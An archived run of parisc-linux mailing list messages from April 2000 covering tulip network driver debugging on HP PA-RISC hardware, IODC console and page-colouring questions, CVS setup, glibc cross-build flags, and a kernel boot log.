Subject: Re: [parisc-linux] tulip on parisc-linux
Date: Wed, 12 Apr 2000 13:31:57 -0700
Lines: 198
Approved: news@gmane.org
Message-ID: <200004122031.NAA16864@milano.cup.hp.com>
References: <852568BF.004E1032.00@tormta3.tor.cel.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618888 32281 80.91.229.3 (22 Nov 2014 01:14:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:48 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Apr 12 14:31:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA15356
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 Apr 2000 14:31:57 -0600
Original-Received: (qmail 11142 invoked by uid 15267); 12 Apr 2000 20:31:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11118 invoked from network); 12 Apr 2000 20:31:55 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 12 Apr 2000 20:31:55 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 0C867244
	for <parisc-linux@thepuffingroup.com>; Wed, 12 Apr 2000 13:31:55 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id NAA16864 for <parisc-linux@thepuffingroup.com>; Wed, 12 Apr 2000 13:31:58 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 12 Apr 2000 10:13:21 PDT."
             <852568BF.004E1032.00@tormta3.tor.cel.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7200


George,
Thanks for the long reply. I badly needed new ideas on what the
problem might be and you provided several.

davisg@Celestica.com wrote:
...
> But things don't appear to be too bad since the data in the TDs looks good at
> this point.

In hp100bt4.txt PCI trace, the TX descriptor data is not good.
See comments at the top of that file.


> My money is on a timing problem in the CSR register writes. Read on...

Me too. But I don't know what since it "works" on other boxes.

> Grant Grundler wrote:
> > Couple of questions:
> > 1) Anyone know if drivers/net/tulip/* (pre3 or later) work on
> >    an architecture with 64-byte cachelines?
> >    (21143 doc says it supports 8/16/32 byte cachlines)
> >
> 
> Actually, the units are "longwords", i.e. 32, 64; 128 Byte
> cache line sizes.

Yes. Thank you. I did infact mis-interpret that for both the PBL
and CAL fields of CSR0.


> > 2) The tulip fetches way more data than it needs for the setup frame
> >    TX descriptor. (See lines -215 to -4 of the cogent PCI trace).
> >    Anyone know why?
> >    (I can arrange a free 712/80 for who ever can explain that to me)
> 
> No, but can I guess?

Certainly. That's all I've been doing. :^)


> My guess is that you haven't (actually the tulip driver hasn't) set the
> TER bit in TDES1 of the last TD in the ring (which points back to 0x200).


"4.3.6.1 Frame Processing" discusses the TER bit.
I'm going try that out after trying to set PBL.

The TDES0<31> (ownership) bit is discussed in the next section.
But lack of ownership doesn't seem to stop the 21143 from *reading*
the entire list of TX descriptors.

> Under the assumption that the DMA engine in the 21143 performs prefetch
> of descriptors (although admittedly 52 +/- entries is a bit much.

It seems to only prefetch RX descriptors *before* a frame starts to come in.
hp100bt3.txt PCI trace seems to confirm that's how it behaves under HPUX.

> Particularly in consideration of the fact that only the first entry
> has the OWN bit set and all entries thereafter are owned by the host)

Under HP-UX, the DMA engine only reads the first TX descriptor, then
the next TX descriptor, and then stops. The host writes CSR1 once
the second Tx descriptor is initialized for outbound data. The card then
re-reads the second TX descriptor and corresponding data buffer.

> and PBL in CSR0 is cleared, i.e. the free space in the xmit FIFO prior
...
> Hmmm, I think I'm liking the PBL theory - assuming that the 21143 PCI master
> interface prefetch engine isn't tightly integrated with the DMA descritor
> prefetch logic, this long prefetch of descriptors may be merely an
> artifact of the 21143 PCI master interface design. Now I'm really
> full-of-****.

I think setting PBL is a good idea. HP-UX sets it to 32-bytes...but
HP-UX also "lies" about the cacheline size. See hp100bt3.txt.

> How deep is the Xmit FIFO anyway?

PBL description (page 3-28) says:
	"If reset, the 21143 burst is limited only by the amount of
	 data stored in the receive FIFO (at least 16 longwords), or
	 by the amount of free space in the transmit FIFO (at least 16
	 longwords)"

This unfortunately doesn't clearly put an upper bound on the FIFO size.

BTW, "4.3.5.2 Frame Processing" talks about how the RX FIFO is used
and mentions prefetch of descriptors.


...
> Try changing the PBL to something other than 0 and observe the
> results (length of TD prefetch)...

Will do.


> Another thought: maybe the Configuration Latency Timer setting is related
> to what you're seeing? Oooh, I just imported your trace into a spread
> sheet and come up with a 21143 DMA memory read duration of about 271 PCI
> clock ticks assuming 30ns clock period. Sounds suspicously close to a
> max latency of 255 ticks give or take assuming bus grant was revoked?

Could be what's limiting the burst since neither PBL, TER, or anything else.
Note that cogent1.txt PCI traces and hp100bt?.txt traces sometimes
have slightly longer/short number of dwords read. This could be explained
by slight variations in host latency and thus the latency timer expires
after a different number of transactions.


> HERE BE DRAGONS (or at least I hope so I can get  a free 712/80):
> =========================================================
> Wait a minute... why are you writing to CSR5 immediately after setting
> CSR6 start/stop xmit?  The HRM says the last thing you should do when
> setting up is to write to CSR6.

Agreed. Writing CSR5 (to clear interrupt status bits) should be done
*before* starting the SIA TX engine (write to CSR6). I have no clue
why it's done this way. Certainly leaves us open to race conditions...

only in the cogent1.txt trace does one see that CSR7 is written *after*
the first TX descriptor has been read. This actually enables the interrupts.
That might be why we don't see any interrupts (even for error conditions).

hp100bt3.txt: HP-UX writes CSR7 immediately after starting the
   RX and TX engines.  This probably isn't a good thing either.
   But note that CSR5 is written *before* starting RX/TX.

> The device gets pretty picky about what you can get away with thereafter.
> Maybe the fact that the tulip driver is writing to CSR5 immediately
> after setting the xmit start/stop bit is causing confusion in device's
> state. Since the Status Register bits are Read/Clear,
> shouldn't they be cleaned up prior to starting the transmit and/or receive
> engines?

I think so too. We should at least see the interrupts for error conditions.

> Seems like trouble may be possible otherwise, e.g. clearing an event in
> progress?

yes.

> I'm looking at the tulip driver source contained in the 2.3.28 release

The parisc-linux source is from 2.3.99-pre3 code and is quite different.
You can view parisc-linux code either through the web links from
	http://puffin.external.hp.com/bonsai/rview.cgi
 OR
	http://puffin.external.hp.com/cgi-bin/cvsview/linux-2.3/

> and I'm having trouble understanding how the chip is assured that it
> can complete what it's doing before getting clobbered by some of the
> later CSR writes. There is no pause after starting the load of the
> setup frame prior to writing to CSR5, CSR7, CSR6 and then
> starting the receive engine in quick succession.

Luck. It happens to work most of the time on most platforms.
That's all.

...
> Now that I've completely embarrassed myself, why not try simply inserting a
> delay immediately after you start the transmit engine for the setup frame to
> see if there is indeed some problem in writing to CSR5 so quickly after
> launching the setup frame.

I'll add something similar to my TODO list:
o move the CSR5 and CSR7 writes to precede the CSR6 write which starts
  the TX/RX engine.

> Although, I haven't given you a concrete  answer, do I still qualify for the
> free 712/80 if I'm on the mark?

Certainly. I'm open for shotgun approach too....besides anyone who wants
a 712/80 that badly should get one (given current availability).


> Way too much time on this... Maybe I should resolve to be a silent bystander!

naah....that's boring. Big thanks for you help!

> P.S. I have another theory - have you performed a hard reset of the
> device to assure that no residual state lingers from the IODC's use
> of same during boot. Assuming you booted via this devce.

I didn't boot from this device.  But a SW reset is performed which should
reset all CSRs and SIA state but not Configuration Space registers.

George, again big thanks for the ideas...I'm reading "new" sections
of the HRM (HW Ref Manual I've assumed) now because of this.

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel build with CONFIG_IODC_CONSOLE fails
Date: Wed, 12 Apr 2000 23:48:19 -0700 (PDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <20000413064819.20328.qmail@web514.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618888 32284 80.91.229.3 (22 Nov 2014 01:14:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:48 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Thu Apr 13 00:48:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA20130
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 Apr 2000 00:48:51 -0600
Original-Received: (qmail 6406 invoked by uid 15267); 13 Apr 2000 06:48:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6391 invoked from network); 13 Apr 2000 06:48:46 -0000
Original-Received: from web514.mail.yahoo.com (216.115.104.229)
  by mailserv2.iuinc.com with SMTP; 13 Apr 2000 06:48:46 -0000
Original-Received: from [145.253.76.73] by web514.mail.yahoo.com; Wed, 12 Apr 2000 23:48:19 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:7201

--- Ulrich Strelow <ulrich_strelow@yahoo.com> wrote:
> Hi all,
> 
> after Gyula's fix I was able to to compile the
> kernel
> with CONFIG_IODC_CONSOLE. However booting this
> kernel
> results in the (in)famous message "Kernel panic:
> Attempted to kill init!".
> 
> In the beginning of the boot log there is a
> "iodc_con_init" message, but the message "Console:
> switching to IODC console" is missing. 

After looking at the source code of iodccon.c (I
should have done this before !) I have to rewrite my
question:

Is there any reason why the call of take_over_console
in iodc_con_init is commented out ?

Ulrich

__________________________________________________
Do You Yahoo!?
Send online invitations with Yahoo! Invites.
http://invites.yahoo.com


From - Thu Nov 08 21:12:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] page colouring....
Date: Thu, 13 Apr 2000 17:41:19 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20000413174119.A15697@thepuffingroup.com>
References: <Pine.LNX.4.21.0004092320450.32368-100000@sammyville.sammy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618888 32286 80.91.229.3 (22 Nov 2014 01:14:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:48 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Sam Creasey <sammy@sammy.net>
Original-X-From: willy@thepuffingroup.com  Thu Apr 13 14:41:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA29158
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 Apr 2000 14:41:35 -0600
Original-Received: (qmail 4305 invoked by uid 15267); 13 Apr 2000 20:41:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4230 invoked from network); 13 Apr 2000 20:41:31 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 13 Apr 2000 20:41:31 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id RAA16053;
	Thu, 13 Apr 2000 17:41:19 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.LNX.4.21.0004092320450.32368-100000@sammyville.sammy.net>; from Sam Creasey on Sun, Apr 09, 2000 at 11:42:33PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7202

On Sun, Apr 09, 2000 at 11:42:33PM -0400, Sam Creasey wrote:
> [why do we have page colouring?]

Originally, we thought it was necessary to get Linux working correctly
on the PA-RISC architecture.  At the puffinfest, we decided that was
incorrect.  [prumpf & jsm did most of the talking; pb & I listened in.]
The existing calls should be sufficient.  So go ahead and rip them out
and commit that code.  Or I can do it if you don't want to.

> # uname -a
> Linux 10.0.0.5 2.3.99-pre1 #41 Sun Apr 9 21:07:39 EDT 2000 parisc unknown

_sweet_.


From - Thu Nov 08 21:12:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVS info
Date: Thu, 13 Apr 2000 17:52:51 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20000413175251.B15697@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618889 32289 80.91.229.3 (22 Nov 2014 01:14:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:49 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Thu Apr 13 14:52:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA29429
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 Apr 2000 14:52:52 -0600
Original-Received: (qmail 14250 invoked by uid 15267); 13 Apr 2000 20:52:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14240 invoked from network); 13 Apr 2000 20:52:51 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 13 Apr 2000 20:52:51 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id RAA16181
	for parisc-linux@thepuffingroup.com; Thu, 13 Apr 2000 17:52:52 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7203


Some people see their commits turning up attributed to `CVSD <cvs@pehc>'.
This is because their CVS/Root file contains the anonymous check-out string;
:pserver:puffin.external.hp.com:/home/cvs/parisc.
You should do the following (assuming you're running bash):

export CVSROOT=:ext:YOUR_USER_NAME@puffin.external.hp.com:/home/cvs/parisc
for i in `find linux-2.3 -name Root`; do echo $CVSROOT >$i; done

and your future commit messages will come from you.  I'd send this message
to the people who're doing it directly, but I have no idea who you are :-)


From - Thu Nov 08 21:12:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] building a glibc-based tool chain
Date: Thu, 13 Apr 2000 17:38:31 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <E12ftBw-0003b1-00@endor.fc.hp.com>
References: <E12f2wJ-0002l4-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618889 32291 80.91.229.3 (22 Nov 2014 01:14:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Thu Apr 13 17:38:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA31673
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 Apr 2000 17:38:35 -0600
Original-Received: (qmail 2300 invoked by uid 15267); 13 Apr 2000 23:38:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2271 invoked from network); 13 Apr 2000 23:38:33 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 13 Apr 2000 23:38:33 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by palrel3.hp.com (Postfix) with ESMTP id DA12814D3
	for <parisc-linux@thepuffingroup.com>; Thu, 13 Apr 2000 16:38:32 -0700 (PDT)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12ftBw-0003b1-00; Thu, 13 Apr 2000 17:38:32 -0600
In-reply-to: Your message of "Tue, 11 Apr 2000 09:50:55 MDT."
             <E12f2wJ-0002l4-00@endor.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7204


Ok, using my prior instructions you'll get a 'glibc' containing
x86 object files!  crt1.o is one of those, and is probably why the
linker segfaults.

Although this is still naive, a better glibc config command is:

.../configure  \
    --prefix=/opt/palinux/lib/gcc-lib/hppa1.1-linux/2.9-hppa-991112  \
    --disable-nls  \
    --disable-sanity-checks  \
    --disable-shared  \
    --host=hppa1.1-linux  \
    --target=hppa1.1-linux  \
    --build=i386-linux  \
    --with-headers=/opt/puffin/include  \
    --without-nls  \
    --disable-profile

Currently this is dying in the glibc build but that will probably get
fixed tomorrow.

	-P


From - Thu Nov 08 21:12:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Astro and 100BT still not working
Date: Thu, 13 Apr 2000 18:08:37 -0700
Lines: 353
Approved: news@gmane.org
Message-ID: <200004140108.SAA19184@milano.cup.hp.com>
References: <200004120514.WAA16365@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618889 32293 80.91.229.3 (22 Nov 2014 01:14:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:49 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Apr 13 19:08:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA00403
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 Apr 2000 19:08:35 -0600
Original-Received: (qmail 22668 invoked by uid 15267); 14 Apr 2000 01:08:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22660 invoked from network); 14 Apr 2000 01:08:34 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 14 Apr 2000 01:08:34 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel2.hp.com (Postfix) with ESMTP id 8DF3A384
	for <parisc-linux@thepuffingroup.com>; Thu, 13 Apr 2000 21:08:33 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id SAA19184 for <parisc-linux@thepuffingroup.com>; Thu, 13 Apr 2000 18:08:38 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 11 Apr 2000 22:14:55 PDT."
             <200004120514.WAA16365@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7205

Grant Grundler wrote:
> Hi all,
> I haven't been able to figure out why the 100BT isn't able
> to read the Tx Descriptor and send a setup frame on the C3000.


I did find (and fix) several bugs in the SBA code regarding
translations from res_map[] -> pdir_base[] -> iova. But the
add-on tulip (cogent or HP) still wasn't working.  I think
after I changed the order of the CSR5/6/7 register writes,
I saw this output:

    eth0: No link beat on the MII interface, status 7809.

I am convinced Tulip initialization of CSR5/6/7 isn't right.
Writing CSR6 (enable Tx/Rx) should be the last thing.
But since vmlinux with my tulip_core.c "hung" after the same output
it's not clear if my changes "fix" anything. I'm not sure
the "No link beat" was due to my changes.
Anyone want my patch?
Or should I just commit my tulip_core.c?


Anyway, I removed the add-on card to try built-in tulip again.
With original Tulip code it got to:

    IP-Config: Got BOOTP answer from 15.8.80.76, my address is 15.8.80.77

I don't know why I stopped getting output.
I've TOC'd the box and will look at TOC output tomorrow.
(Don't want to spoil my day :^)
Could also be a problem with my bootp server or nfs root file system.

Full debug output is appended (with my tulip_core.c changes).
Code changes (except tulip_core.c) are committed if someone
else wants to play more with it.
SCSI is next on my list.

cheers,
grant

ps. yes - I'm working on getting George a 712/80...sounds
    like he needs one anyway. :^)

Grant Grundler
Unix Development Lab
+1.408.447.7253



Main Menu: Enter command > bo lan
Interact with IPL (Y, N, Q)?> n

Booting... 
Network Station Address 001083-360089

System IP Address 15.8.80.77
Server IP Address 15.8.80.76

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl grundler@rock Thu Apr 13 16:26:33 PDT 2000
0/vmlinux 1961991 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.80.76'
0/ramdisk 614400 bytes @ 0x1e5807
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 0010174c first 00100000 n 4
Segment 0 load 00100000 size 1103012 mediaptr 0x1000
Segment 1 load 0020e000 size 95400 mediaptr 0x10f000
Segment 2 load 00228000 size 55796 mediaptr 0x127000
Segment 3 load 00238000 size 8192 mediaptr 0x135000
branching to kernel entry point 0x0010174c
The Kernel has started...
Free memory starts at: 0xc02a8000
PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.80.76'
PALO initrd 0-0
FP CCR was 0x0, will be set to 0xc0
model   00005bb0 00000481 00000000 00000002 77cd9463 100000f0 00000008 000000b2 000000b2
vers    00000200
cpuid   00000224
CPUID vers 17 rev 4
CPU(s): 1 x PA8500 at 400.000000 MHz
Searching for devices in PDC firmware... a newer box...
Found devices:
1. Astro BC Runway Port (12) at 0xfed00000, versions 0x582, 0x0, 0xb, 0x0, 0x10
2. Elroy PCI Bridge (13) at 0xfed30000, versions 0x782, 0x0, 0xa, 0x0, 0x0
3. Elroy PCI Bridge (13) at 0xfed32000, versions 0x782, 0x0, 0xa, 0x0, 0x0
4. Elroy PCI Bridge (13) at 0xfed38000, versions 0x782, 0x0, 0xa, 0x0, 0x0
5. Elroy PCI Bridge (13) at 0xfed3c000, versions 0x782, 0x0, 0xa, 0x0, 0x0
6. AllegroHigh W  (0) at 0xfffa0000, versions 0x5bb, 0x0, 0x4, 0x0, 0x81
7. AllegroHigh Memory (1) at 0xfed10200, versions 0x86, 0x0, 0x9, 0x0, 0x0
That's a total of 7 devices.
Linux version 2.3.99-pre1 (grundler@rock) (gcc version 2.9-hppa-991112) #79 Thu Apr 13 16:25:57 PDT 2000
init_bootmem 680 32768
init_bootmem complete
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 32768
zone(0): 16384 pages.
zone(1): 16384 pages.
zone(2): 0 pages.
trap_init
Calibrating delay loop... 758.58 BogoMIPS
Memory: 124884k available
kmem_test() - start
kmem_free: Bad front redzone (objp=c7ffe004, name=test-cachep)
kmem_free: Bad rear redzone (objp=c7ffe004, name=test-cachep)
kmem_test() - finished
c7ff0000 c7ff8000 c7fee000 c7ffc000
Buffer-cache hash table entries: 8192 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
POSIX conformance testing by UNIFIX
lba version TR2.1 (0x2) found at 0xfed30000
Scanning bus 00
Found 00:60 [1011/0019] 000200 00
Found 00:68 [11d4/1889] 000401 00
Found 00:70 [100b/0002] 000101 00
Found 00:71 [100b/000e] 000680 00
Found 00:72 [100b/0012] 000c03 00
Found 00:78 [1000/000b] 000100 00
Found 00:79 [1000/000b] 000100 00
Fixups for bus 00
lba_fixup_bus(0xc7ffd660) bus 0 sysdata 0xc7feb0e0
request_irq(258, c0123e94, 0x0, iosapic, c7fbb060)
request_irq(259, c0123e94, 0x0, iosapic, c7fbb080)
request_irq(260, c0123e94, 0x0, iosapic, c7fbb020)
request_irq(261, c0123e94, 0x0, iosapic, c7fbb020)
request_irq(262, c0123e94, 0x0, iosapic, c7fbb020)
request_irq(263, c0123e94, 0x0, iosapic, c7fbb040)
request_irq(264, c0123e94, 0x0, iosapic, c7fbb040)
Bus scan for 00 returning with max=00
lba version TR2.1 (0x2) found at 0xfed32000
Scanning bus 01
Found 01:28 [1011/0019] 000200 00
Found 01:30 [1000/000f] 000100 00
Fixups for bus 01
lba_fixup_bus(0xc7ffd700) bus 1 sysdata 0xc7feb1a0
request_irq(265, c0123e94, 0x0, iosapic, c7fbb280)
request_irq(266, c0123e94, 0x0, iosapic, c7fbb260)
Bus scan for 01 returning with max=01
lba version TR2.1 (0x2) found at 0xfed38000
Scanning bus 02
Found 02:08 [12ae/0001] 000200 00
Fixups for bus 02
lba_fixup_bus(0xc7ffd7a0) bus 2 sysdata 0xc7feb260
request_irq(267, c0123e94, 0x0, iosapic, c7fbb4c0)
Bus scan for 02 returning with max=02
lba version TR2.1 (0x2) found at 0xfed3c000
lba: iosapic_register says not used
Warning : device (13, 0x782, 0x0, 0xa, 0x0) NOT claimed by lba TR2.1
SBA at 0xfed00000
IOS_DIST_BASE   : 000000ff fee00001
IOS_DIST_MASK   : 000000ff ffff0000
IOS_DIST_ROUTE  : 34000000 00000000

IOS_DIRECT_BASE : 000000ff fee00200
IOS_DIRECT_MASK : 000000ff ffff0000
IOS_DIRECT_ROUTE: 00000000 00000000
SBA found Astro 2.1 at 0xfed00000
sba_hw_init() hpa 0xfed00000 ioc_ctl 0x29cf ->sba_ioc_init hpa 0xfed22000 mem 128MBIOV 16MB (24 bits) PDIR size 0x8000 base c7fa8000
sba_ioc_init IOV base 0x1 mask 0xff000000
lba_init_iregs() ibase 0x1 imask 0xfc000000
lba_init_iregs() base_addr fed38000
lba_init_iregs() base_addr fed32000
lba_init_iregs() base_addr fed30000
lba_init_iregs() done
sba_ioc_init done
sba_common_init() res_size 0x200
lba: lba_bios_init
Linux NET4.0 for Linux 2.3
Based upon Swansea University Computer Society NET3.039
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 1024 buckets, 8Kbytes
TCP: Hash tables configured (established 8192 bind 8192)
Starting kswapd v1.6
Serial driver version 4.92 (2000-1-27) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
pty: 256 Unix98 ptys configured
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
Linux Tulip driver version 0.9.4.2 (Mar 21, 2000)

tulip 0x00 : 0x00191011 0x02800057 0x02000030 0x0000ff10
tulip 0x10 : 0x00001001 0xf4008000 0x00000000 0x00000000
tulip 0x20 : 0x00000000 0x00000000 0x00000000 0x104f103c
tulip 0x30 : 0xf4040000 0x00000000 0x00000000 0x28140102
pcibios_enable_device: Enabling device 00:0c.0 (0057 -> 0157)
sba_map_single 0xc7f7a000 -> 0x80000 pdir 0xc7fa8400 8000000007f7a07a
eth0: Digital DS21143 Tulip rev 48 at 0x1000, 00:10:83:36:00:89, IRQ 514.
eth0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
tulip: skipping card at 0x12100
request_irq(514, c01b38f4, 0x4000000, eth0, c7fb1000)
sba_map_single 0xc7fb0810 -> 0xa0810 pdir 0xc7fa8500 8000000007fb00b0
sba_map_single 0xc7fb0010 -> 0xc0010 pdir 0xc7fa8600 8000000007fb00b0
sba_map_single 0xc7f77810 -> 0xe0810 pdir 0xc7fa8700 8000000007f77077
sba_map_single 0xc7f77010 -> 0x100010 pdir 0xc7fa8800 8000000007f77077
sba_map_single 0xc7f76810 -> 0x120810 pdir 0xc7fa8900 8000000007f76076
sba_map_single 0xc7f76010 -> 0x140010 pdir 0xc7fa8a00 8000000007f76076
sba_map_single 0xc7f75810 -> 0x160810 pdir 0xc7fa8b00 8000000007f75075
sba_map_single 0xc7f75010 -> 0x180010 pdir 0xc7fa8c00 8000000007f75075
sba_map_single 0xc7f74810 -> 0x1a0810 pdir 0xc7fa8d00 8000000007f74074
sba_map_single 0xc7f74010 -> 0x1c0010 pdir 0xc7fa8e00 8000000007f74074
sba_map_single 0xc7f73810 -> 0x1e0810 pdir 0xc7fa8f00 8000000007f73073
sba_map_single 0xc7f73010 -> 0x200010 pdir 0xc7fa9000 8000000007f73073
sba_map_single 0xc7f72810 -> 0x220810 pdir 0xc7fa9100 8000000007f72072
sba_map_single 0xc7f72010 -> 0x240010 pdir 0xc7fa9200 8000000007f72072
sba_map_single 0xc7f71810 -> 0x260810 pdir 0xc7fa9300 8000000007f71071
sba_map_single 0xc7f71010 -> 0x280010 pdir 0xc7fa9400 8000000007f71071
sba_map_single 0xc7f70810 -> 0x2a0810 pdir 0xc7fa9500 8000000007f70070
sba_map_single 0xc7f70010 -> 0x2c0010 pdir 0xc7fa9600 8000000007f70070
sba_map_single 0xc7f6f810 -> 0x2e0810 pdir 0xc7fa9700 8000000007f6f06f
sba_map_single 0xc7f6f010 -> 0x300010 pdir 0xc7fa9800 8000000007f6f06f
